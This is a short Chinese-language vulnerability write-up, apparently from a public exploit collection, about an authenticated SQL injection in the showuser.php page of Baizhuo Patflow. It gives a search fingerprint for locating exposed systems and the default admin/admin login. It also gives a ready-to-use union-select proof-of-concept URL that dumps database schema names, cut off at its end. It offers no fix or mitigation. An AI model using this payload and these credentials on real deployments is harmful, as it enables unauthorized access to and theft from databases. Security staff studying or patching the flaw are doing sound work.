# 百卓 Patflow showuser.php 后台SQL注入漏洞

## 漏洞描述

百卓 Patflow showuser.php文件参数过滤不充分，导致后台存在SQL注入漏洞

## 漏洞影响

```
百卓 Patflow
```

## 网络测绘

```
"Patflow"
```

## 漏洞复现

登录页面

![image-20220519183747439](./images/202205191837588.png)

默认口令登录后台 admin/admin

存在漏洞的文件为 shwouser.php,验证POC为

```
/user/showuser.php?id=1%20union%20select%201,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,(select%20group_concat(SCHEMA_NAME)%20f
```

![image-20220519183758066](./images/202205191837110.png)